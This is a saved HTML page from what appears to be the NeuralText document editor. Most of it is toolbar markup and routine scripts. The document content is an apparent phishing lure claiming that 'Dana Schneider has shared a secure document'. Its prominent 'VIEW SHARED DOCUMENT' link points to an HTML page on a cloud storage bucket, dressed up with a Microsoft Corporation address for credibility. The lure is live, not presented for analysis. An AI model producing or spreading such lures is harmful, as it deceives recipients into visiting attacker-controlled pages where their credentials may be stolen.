        <button @click="setHorizontalRule()" x-data="tooltipComponent(['Insert horizontal line'])" @mouseenter="showTooltip(['Insert horizontal line'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" width="18" height="18">
                <path d="M2 11H4V13H2V11ZM6 11H18V13H6V11ZM20 11H22V13H20V11Z"></path>
            </svg>
        </button>
        <button @click="toggleClearNodes()" x-data="tooltipComponent(['Clear formatting'])" @mouseenter="showTooltip(['Clear formatting'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M12.651 14.065L11.605 20H9.574l1.35-7.661-7.41-7.41L4.93 3.515 20.485 19.07l-1.414 1.414-6.42-6.42zm-.878-6.535l.27-1.53h-1.8l-2-2H20v2h-5.927L13.5 9.257 11.773 7.53z"></path>
            </svg>
        </button>
        <button @click="undoCommand()" x-data="tooltipComponent(['Undo'])" @mouseenter="showTooltip(['Undo'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">

            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M5.828 7l2.536 2.536L6.95 10.95 2 6l4.95-4.95 1.414 1.414L5.828 5H13a8 8 0 1 1 0 16H4v-2h9a6 6 0 1 0 0-12H5.828z"></path>
            </svg>
        </button>
        <button @click="redoCommand()" x-data="tooltipComponent(['Redo'])" @mouseenter="showTooltip(['Redo'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M18.172 7H11a6 6 0 1 0 0 12h9v2h-9a8 8 0 1 1 0-16h7.172l-2.536-2.536L17.05 1.05 22 6l-4.95 4.95-1.414-1.414L18.172 7z"></path>
            </svg>
        </button>
        <button x-data="editorDownloadComponent()" @click="handleExport" @mouseenter="showTooltip(['Download (HTML)'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" class="icon icon-tabler icon-tabler-download" width="18" height="18" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round"><path stroke="none" d="M0 0h24v24H0z" fill="none"></path><path d="M4 17v2a2 2 0 0 0 2 2h12a2 2 0 0 0 2 -2v-2"></path><path d="M7 11l5 5l5 -5"></path><path d="M12 4l0 12"></path></svg>
        </button>
    </div>
    

    </div>
  </template><div class="menu border-b border-gray-200 space-x-2 py-2 pl-4 flex justify-between sticky top-0 bg-white z-10">
        <div class="flex space-x-2">
        <button @click="toggleHeading({ level: 1 })" x-data="tooltipComponent(['Apply Heading 1'])" @mouseenter="showTooltip(['Apply Heading 1'])" @mouseleave="hideTooltip" :class="{ 'is-active': isActive('heading', { level: 1 }, updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
        
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" width="18" height="18">
                <path d="M13 20H11V13H4V20H2V4H4V11H11V4H13V20ZM21.0005 8V20H19.0005L19 10.204L17 10.74V8.67L19.5005 8H21.0005Z"></path>
            </svg>
        </button>
        <button @click="toggleHeading({ level: 2 })" x-data="tooltipComponent(['Apply Heading 2'])" @mouseenter="showTooltip(['Apply Heading 2'])" @mouseleave="hideTooltip" :class="{ 'is-active': isActive('heading', { level: 2 }, updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800 is-active">
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0H24V24H0z"></path>
            <path d="M4 4v7h7V4h2v16h-2v-7H4v7H2V4h2zm14.5 4c2.071 0 3.75 1.679 3.75 3.75 0 .857-.288 1.648-.772 2.28l-.148.18L18.034 18H22v2h-7v-1.556l4.82-5.546c.268-.307.43-.709.43-1.148 0-.966-.784-1.75-1.75-1.75-.918 0-1.671.707-1.744 1.606l-.006.144h-2C14.75 9.679 16.429 8 18.5 8z"></path>
        </svg>
        </button>
        <button @click="toggleHeading({ level: 3 })" x-data="tooltipComponent(['Apply Heading 3'])" @mouseenter="showTooltip(['Apply Heading 3'])" @mouseleave="hideTooltip" :class="{ 'is-active': isActive('heading', { level: 3 }, updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0H24V24H0z"></path>
            <path d="M22 8l-.002 2-2.505 2.883c1.59.435 2.757 1.89 2.757 3.617 0 2.071-1.679 3.75-3.75 3.75-1.826 0-3.347-1.305-3.682-3.033l1.964-.382c.156.806.866 1.415 1.718 1.415.966 0 1.75-.784 1.75-1.75s-.784-1.75-1.75-1.75c-.286 0-.556.069-.794.19l-1.307-1.547L19.35 10H15V8h7zM4 4v7h7V4h2v16h-2v-7H4v7H2V4h2z"></path>
            </svg>
        </button>
        <button @click="toggleBold()" x-data="tooltipComponent(['Bold'])" @mouseenter="showTooltip(['Bold'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('bold', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M8 11h4.5a2.5 2.5 0 1 0 0-5H8v5zm10 4.5a4.5 4.5 0 0 1-4.5 4.5H6V4h6.5a4.5 4.5 0 0 1 3.256 7.606A4.498 4.498 0 0 1 18 15.5zM8 13v5h5.5a2.5 2.5 0 1 0 0-5H8z"></path>
            </svg>
        </button>
        <button @click="toggleItalic()" x-data="tooltipComponent(['Italic'])" @mouseenter="showTooltip(['Italic'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('italic', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M15 20H7v-2h2.927l2.116-12H9V4h8v2h-2.927l-2.116 12H15z"></path>
            </svg>
        </button>
        <button @click="toggleUnderline()" x-data="tooltipComponent(['Underline'])" @mouseenter="showTooltip(['Underline'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('underline', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
                <path d="M8 3V12C8 14.2091 9.79086 16 12 16C14.2091 16 16 14.2091 16 12V3H18V12C18 15.3137 15.3137 18 12 18C8.68629 18 6 15.3137 6 12V3H8ZM4 20H20V22H4V20Z"></path>
            </svg>
        </button>
        <button @click="setLink()" x-data="tooltipComponent(['Insert link'])" @mouseenter="showTooltip(['Insert link'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('link', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" class="icon icon-tabler icon-tabler-link" width="18" height="18" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
                <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
                <path d="M9 15l6 -6"></path>
                <path d="M11 6l.463 -.536a5 5 0 0 1 7.071 7.072l-.534 .464"></path>
                <path d="M13 18l-.397 .534a5.068 5.068 0 0 1 -7.127 0a4.972 4.972 0 0 1 0 -7.071l.524 -.463"></path>
            </svg>
        </button>
        <button @click="toggleBulletList()" x-data="tooltipComponent(['Bullet list'])" @mouseenter="showTooltip(['Bullet list'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('bulletList', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M8 4h13v2H8V4zM4.5 6.5a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3zm0 7a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3zm0 6.9a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3zM8 11h13v2H8v-2zm0 7h13v2H8v-2z"></path>
            </svg>
        </button>
        <button @click="toggleOrderedList()" x-data="tooltipComponent(['Ordered list'])" @mouseenter="showTooltip(['Ordered list'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('orderedList', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M8 4h13v2H8V4zM5 3v3h1v1H3V6h1V4H3V3h2zM3 14v-2.5h2V11H3v-1h3v2.5H4v.5h2v1H3zm2 5.5H3v-1h2V18H3v-1h3v4H3v-1h2v-.5zM8 11h13v2H8v-2zm0 7h13v2H8v-2z"></path>
            </svg>
        </button>
        <button @click="toggleBlockquote()" x-data="tooltipComponent(['Blockquote'])" @mouseenter="showTooltip(['Blockquote'])" @mouseleave="hideTooltip" :class="{ 'is-active' : isActive('blockquote', updatedAt) }" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
                <path d="M21 4H3V6H21V4ZM21 11H8V13H21V11ZM21 18H8V20H21V18ZM5 11H3V20H5V11Z"></path>
            </svg>
        </button>
        <button @click="setHorizontalRule()" x-data="tooltipComponent(['Insert horizontal line'])" @mouseenter="showTooltip(['Insert horizontal line'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" width="18" height="18">
                <path d="M2 11H4V13H2V11ZM6 11H18V13H6V11ZM20 11H22V13H20V11Z"></path>
            </svg>
        </button>
        <button @click="toggleClearNodes()" x-data="tooltipComponent(['Clear formatting'])" @mouseenter="showTooltip(['Clear formatting'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M12.651 14.065L11.605 20H9.574l1.35-7.661-7.41-7.41L4.93 3.515 20.485 19.07l-1.414 1.414-6.42-6.42zm-.878-6.535l.27-1.53h-1.8l-2-2H20v2h-5.927L13.5 9.257 11.773 7.53z"></path>
            </svg>
        </button>
        <button @click="undoCommand()" x-data="tooltipComponent(['Undo'])" @mouseenter="showTooltip(['Undo'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">

            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M5.828 7l2.536 2.536L6.95 10.95 2 6l4.95-4.95 1.414 1.414L5.828 5H13a8 8 0 1 1 0 16H4v-2h9a6 6 0 1 0 0-12H5.828z"></path>
            </svg>
        </button>
        <button @click="redoCommand()" x-data="tooltipComponent(['Redo'])" @mouseenter="showTooltip(['Redo'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor">
            <path fill="none" d="M0 0h24v24H0z"></path>
            <path d="M18.172 7H11a6 6 0 1 0 0 12h9v2h-9a8 8 0 1 1 0-16h7.172l-2.536-2.536L17.05 1.05 22 6l-4.95 4.95-1.414-1.414L18.172 7z"></path>
            </svg>
        </button>
        <button x-data="editorDownloadComponent()" @click="handleExport" @mouseenter="showTooltip(['Download (HTML)'])" @mouseleave="hideTooltip" class="hover:bg-gray-100 rounded-md p-1 hover:text-gray-800">
            <svg xmlns="http://www.w3.org/2000/svg" class="icon icon-tabler icon-tabler-download" width="18" height="18" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round"><path stroke="none" d="M0 0h24v24H0z" fill="none"></path><path d="M4 17v2a2 2 0 0 0 2 2h12a2 2 0 0 0 2 -2v-2"></path><path d="M7 11l5 5l5 -5"></path><path d="M12 4l0 12"></path></svg>
        </button>
    </div>
    

    </div>


    <div x-ref="element" id="editor"><div contenteditable="false" translate="no" class="tiptap ProseMirror border-none focus:outline-none" tabindex="0"><h2>Dana Schneider has shared a secure document with you.<br>Click on “VIEW SHARED DOCUMENT” to access the shared documents securely.</h2><p><br class="ProseMirror-trailingBreak"></p><p><br class="ProseMirror-trailingBreak"></p><h1><a target="_blank" rel="noopener noreferrer nofollow" href="https://nelsonengineering.us-mia-1.linodeobjects.com/index.html"><strong><u>VIEW SHARED DOCUMENT</u></strong></a></h1><p><br class="ProseMirror-trailingBreak"></p><p><br class="ProseMirror-trailingBreak"></p><p><br class="ProseMirror-trailingBreak"></p><p><br class="ProseMirror-trailingBreak"></p><p><br class="ProseMirror-trailingBreak"></p><p><strong>This document is protected for your view only.&nbsp;</strong></p><p><strong>Microsoft Corporation Microsoft Way&nbsp;</strong></p><p><strong>Redmond, WA&nbsp;</strong></p><p><strong>98052-6399</strong></p></div></div>
</div>

 
</section>
      
<section x-show="isSelected($id('tab', whichChild($el, $el.parentElement)))" :aria-labelledby="$id('tab', whichChild($el, $el.parentElement))" role="tabpanel" class="mt-5 max-h-screen overflow-y-auto overflow-x-hidden" aria-labelledby="tab-1-2" style="display: none;">
    <div>
        <dl class="border-t border-x border-gray-200 grid grid-cols-1 divide-y divide-gray-200 overflow-hidden rounded-lg bg-white shadow md:grid-cols-3 md:divide-x md:divide-y-0">
        <div class="px-4 py-5 sm:p-6">
            <dt class="text-base font-normal text-gray-900">Word Count</dt>
            <dd class="mt-1 flex items-baseline justify-between md:block lg:flex">
            <div class="flex items-baseline text-2xl font-semibold text-black">
                0
            </div>
            </dd>
        </div>
        <div class="px-4 py-5 sm:p-6">
            <dt class="text-base font-normal text-gray-900">Avg. Content Score</dt>
            <dd class="mt-1 flex items-baseline justify-between md:block lg:flex">
            <div class="flex items-baseline text-2xl font-semibold text-black">
                0
            </div>

            </dd>
        </div>
        <div class="px-4 py-5 sm:p-6">
            <dt class="text-base font-normal text-gray-900">Avg. Search Volume</dt>
            <dd class="mt-1 flex items-baseline justify-between md:block lg:flex">
            <div class="flex items-baseline text-2xl font-semibold text-black">
                0
            </div>
    
            </dd>
        </div>
        </dl>
    </div>
    
    
    
    
    
    

    <div class="mb-5">
        <dl class="mt-5 grid grid-cols-1 gap-5 sm:grid-cols-2">
          <div class="border border-gray-200 overflow-hidden rounded-lg bg-white px-4 py-5 sm:p-6">
            <dt class="truncate text-sm font-medium text-gray-500">SERP Widgets</dt>
            <dd class="mt-1 tracking-tight text-gray-900">

                <ul class="list-disc list-inside">
                    
                </ul>
            </dd>
          </div>
          <div class="border border-gray-200 overflow-hidden rounded-lg bg-white px-4 py-5 sm:p-6">
            <dt class="truncate text-sm font-medium text-gray-500">Search Intent</dt>
            <dd class="mt-1 tracking-tight text-gray-900">
                <ul class="list-disc list-inside">
                    
                </ul>
            </dd>
          </div>
        </dl>
      </div>

      
<div class="my-5 border-t border-gray-200">
    <h3 class="text-base font-semibold leading-6 text-gray-900 pt-4">Search Results</h3>
    <p class="mt-2 max-w-screen text-sm text-gray-500">This section displays the results found on the Search Engine Results Page (SERP), along with the word count and the content score.</p>
</div>
<div class="flow-root mb-48">
    <div class="-mx-4 -my-2 overflow-x-auto sm:-mx-6 lg:-mx-8">
    <div class="inline-block min-w-full py-0 align-middle sm:px-6 lg:px-8">
        <table class="min-w-full divide-y divide-gray-300">
        <thead>
            <tr>
            <th scope="col" class="py-3.5 pl-4 pr-3 text-left text-sm font-semibold text-gray-900 sm:pl-0">Position
                
            </th>
            <th scope="col" class="relative py-3.5 pl-3 pr-4 sm:pr-0">
                <span class="sr-only">Result</span>
            </th>
            <th scope="col" class="px-3 py-3.5 text-left text-sm font-semibold text-gray-900">Word Count</th>
            <th scope="col" class="px-3 py-3.5 text-left text-sm font-semibold text-gray-900">Score</th>
            </tr>
        </thead>
        <tbody class="divide-y divide-gray-200 bg-white">
            
        </tbody>
        </table>
    </div>
    </div>
</div>

</section>
      <section x-show="isSelected($id('tab', whichChild($el, $el.parentElement)))" :aria-labelledby="$id('tab', whichChild($el, $el.parentElement))" role="tabpanel" class="mt-2 max-h-screen overflow-y-auto" aria-labelledby="tab-1-3" style="display: none;">
<div class="flex-1 flex flex-col mx-auto py-4 w-full bg-white mb-48">
    <div style="display: flex; margin-left: -30px;">
        <div style="box-sizing: border-box; background-clip: padding-box; width: 50%; border-width: 0px 0px 0px 30px; border-style: solid; border-color: transparent; border-image: initial;">
            
        </div>
        <div style="box-sizing: border-box; background-clip: padding-box; width: 50%; border-width: 0px 0px 0px 15px; border-style: solid; border-color: transparent; border-image: initial;">
            
        </div>
    </div>
</div>
</section>
      
      
  </div>
  </div>
  </main>
  
</div>

    </main>
    </div>
    
    <script type="text/javascript">
      window.fwSettings={
      'widget_id':80000000572
      };
      !function(){if("function"!=typeof window.FreshworksWidget){var n=function(){n.q.push(arguments)};n.q=[],window.FreshworksWidget=n}}() 
    </script>
    <script async="" type="text/javascript" src="https://euc-widget.freshworks.com/widgets/80000000572.js" defer=""></script>
    
    <script type="module" src="/static/editor-bundle.0734bdd6cb83.js"></script>
    <script type="text/javascript">
      function open_widget(){
        FreshworksWidget('show');
        FreshworksWidget('open');
      }
      function close_widget() {
        FreshworksWidget('close');
        localStorage.setItem('FreshworksWidgetOpen', 'false'); 
        // write logic to change react state from here
      }
      function get_keywords(){
          var texts = [];
          $('#keywords').select2('data').forEach(function(item) {
              texts.push(item.text);
          });
          return texts
      }

      function getCsrfToken(){
        return 'wwilNJxgjeGzK4G6vQxAWKM76qbMyKP7So091k8qpUwkR5uDqrWw5dSIVN7ziJan';
      }

      function get_document_id(){
        return '605f2d59-feb0-4eb0-9a6c-2167ba20eb26';
      }

      function get_project_id(){
        return '';
      }

      function is_authenticated(){
        
        return false;
        
      }

      function is_publicly_editable(){
        
        return false;
        
      }

      function user_has_edit_perms(){
        
        return false;
        
      }

      function has_seo(){
        return false
      }


      function downloadText() {
        return {
          exportSelector: '#editor', // Adjust the selector as needed
    
          handleExport() {
            const html = document.querySelector(this.exportSelector).innerHTML;
            const mimeType = 'text/html';
            const fileName = 'document-PDF ONLINE.html';
    
            // Create a blob with the HTML content
            const blob = new Blob([html], { type: mimeType });
    
            // Create a temporary download link
            const downloadLink = document.createElement('a');
            downloadLink.href = URL.createObjectURL(blob);
            downloadLink.download = fileName;
    
            // Append to the document, trigger the download, and remove it
            document.body.appendChild(downloadLink);
            downloadLink.click();
            document.body.removeChild(downloadLink);
          },
        }
      }

      function editorDownloadComponent() {
        return Object.assign({}, 
          downloadText(), 
          tooltipComponent(['Download (HTML)'])
        );
      }

      function decodeBase64Utf8(encodedStr) {
        // Decode Base64 to a string with Latin1 encoding
        const latin1Str = atob(encodedStr);
        // Convert Latin1 string to UTF-8
        const utf8Str = decodeURIComponent(escape(latin1Str));
        return utf8Str;
    }

    function addHeadingToList(headerTag, encodedHeaderText) {
        const modifiedHeaderTag = headerTag.replace(/h/g, '');
        const endpoint = '/headings/add/';
        var headerText = decodeBase64Utf8(encodedHeaderText);
        console.log(headerText);
        const data = { 
          indent: modifiedHeaderTag,
          text: headerText,
          document_id: '605f2d59-feb0-4eb0-9a6c-2167ba20eb26' 
        };
    
        fetch(endpoint, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'X-CSRFToken': 'wwilNJxgjeGzK4G6vQxAWKM76qbMyKP7So091k8qpUwkR5uDqrWw5dSIVN7ziJan'
            },
            body: JSON.stringify(data),
        })
        .then(response => response.text())
        .then(html => {

            // Assuming data.html contains the new <li> element
            if (html) {
                const ul = document.querySelector('#outline-nodes');
                const tempDiv = document.createElement('div');
                tempDiv.innerHTML = html;
                ul.appendChild(tempDiv.firstChild);
    
                updateListAndCount(ul);
                htmx.process(document.body);
                triggerNotification('Heading added succesfully to outline builder', 'success');
            }
        })
        .catch((error) => {
            console.error('Error:', error);
        });
     }
    
      function updateListAndCount(ul) {
          let debounceTimeout;
          const debounceDelay = 500; // Adjust as needed
      
          Sortable.create(ul, {
              animation: 150,
              onChange: function () {
                  if (debounceTimeout) {
                      clearTimeout(debounceTimeout);
                  }
      
                  debounceTimeout = setTimeout(function() {
                      const ids = Array.from(ul.querySelectorAll('li')).map(li => li.id);
                      console.log('List of IDs:', ids);
      
                      fetch('/headings/update/', {
                          method: 'POST',
                          headers: {
                              'Content-Type': 'application/json',
                              'X-CSRFToken': 'wwilNJxgjeGzK4G6vQxAWKM76qbMyKP7So091k8qpUwkR5uDqrWw5dSIVN7ziJan'
                          },
                          body: JSON.stringify({ ids: ids, document_id: '605f2d59-feb0-4eb0-9a6c-2167ba20eb26' })
                      })
                      .then(response => {
                          if (!response.ok) {
                              throw new Error('Network response was not ok');
                          }
                          return response.json();
                      })
                      .then(data => {
                          console.log('Success:', data);
                          // Handle successful response
                      })
                      .catch((error) => {
                          console.error('Error:', error);
                          // Handle errors
                      });
                  }, debounceDelay);
              }
          });
      
          updateHeadingCount(); // Make sure this function is defined
      }
      
      var explanations = {
        "contentScore": "<span class='font-light'>The content score suggests how this article is optimized for the keyword. <a target='_blank' class='font-normal underline decoration-dotted' href='https://docs.neuraltext.com/getting-started/document-editor/content-optimization/content-score#content-score'>Read more</a></span>",
        "wordCount": "<span class='font-light'>Word count is not a ranking factor, but it can be useful to understand quickly how long your content could be. <a target='_blank' class='font-normal underline decoration-dotted' href='https://docs.neuraltext.com/getting-started/document-editor/content-optimization/content-score#word-count'>Read more</a></span>",
        "topicCoverage": "<span class='font-light'>Topic coverage score indicates the extent to which your content discusses and explores the relevant topics. <a target='_blank' class='font-normal underline decoration-dotted' href='https://docs.neuraltext.com/getting-started/document-editor/content-optimization/content-score#topic-score'>Read more</a></span>",
        "readability": "<span class='font-light'>The readability score indicates how easy it will be for someone to read this text. <a target='_blank' class='font-normal underline decoration-dotted' href='https://docs.neuraltext.com/getting-started/document-editor/content-optimization/content-score#readability'>Read more</a></span>",
      }
      document.addEventListener("DOMContentLoaded", function() {
        FreshworksWidget('hide', 'launcher');
        FreshworksWidget('disable', 'ticketForm', ['email']);
        FreshworksWidget('identify', 'ticketForm', {
          name: '',
          email: '',
        });
        if(has_seo()){
          updateHeadingCount();

          tippy('.explanation', {
            content(reference){
                const id = reference.getAttribute('aria-label');
                return explanations[id.split(":")[0]];
            },
            maxWidth:250,
            allowHTML: true,
            interactive: true
          })
        }

        const copyLinkButton = document.getElementById('copy-link-button');
        const shareDocumentInput = document.getElementById('share-document-input');
        
        copyLinkButton.addEventListener('click', () => {
          navigator.clipboard.writeText(shareDocumentInput.value).then(() => {
            copyLinkButton.textContent = 'Link copied!';
            setTimeout(() => {
              copyLinkButton.textContent = 'Copy link to clipboard';
            }, 2000);
          });
        });

        
      });

      document.body.addEventListener('htmx:afterRequest', function(evt) {
        if(evt.target.tagName == "UL"){
          updateHeadingCount();
        }
      })

    </script>





    <script type="text/javascript">
    document.addEventListener("DOMContentLoaded", function () {
      var referralUrl = new URL(window.location.href);
      if (referralUrl.searchParams.has("glid") && referralUrl.searchParams.has("via")) {
        setTimeout(function () {
          var cookieDeletion = "rewardful.referral=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/; domain=" + window.location.hostname;
          document.cookie = cookieDeletion;
          console.log("Deleted referral cookie as visit came from Google Ads (forbidden by Terms of Service)");
        }, 2000);
      }
    });
  </script>
  <foreignobject></foreignobject><script defer="" src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon="{&quot;rayId&quot;:&quot;8ddfd21df8c42fbf&quot;,&quot;version&quot;:&quot;2024.10.4&quot;,&quot;serverTiming&quot;:{&quot;name&quot;:{&quot;cfExtPri&quot;:true,&quot;cfL4&quot;:true,&quot;cfSpeedBrain&quot;:true,&quot;cfCacheStatus&quot;:true}},&quot;token&quot;:&quot;656dda02968a43e4b3d46ba7a5f050d6&quot;,&quot;b&quot;:1}" crossorigin="anonymous"></script>

<div id="freshworks-container" data-html2canvas-ignore="true" style="width: 0px; height: 0px; bottom: 0px; right: 0px; z-index: 2147483647;"><div aria-live="polite"></div></div><iframe title="FreshworksWidget" id="freshworks-frame" data-html2canvas-ignore="true" style="display: none;"></iframe></body></html>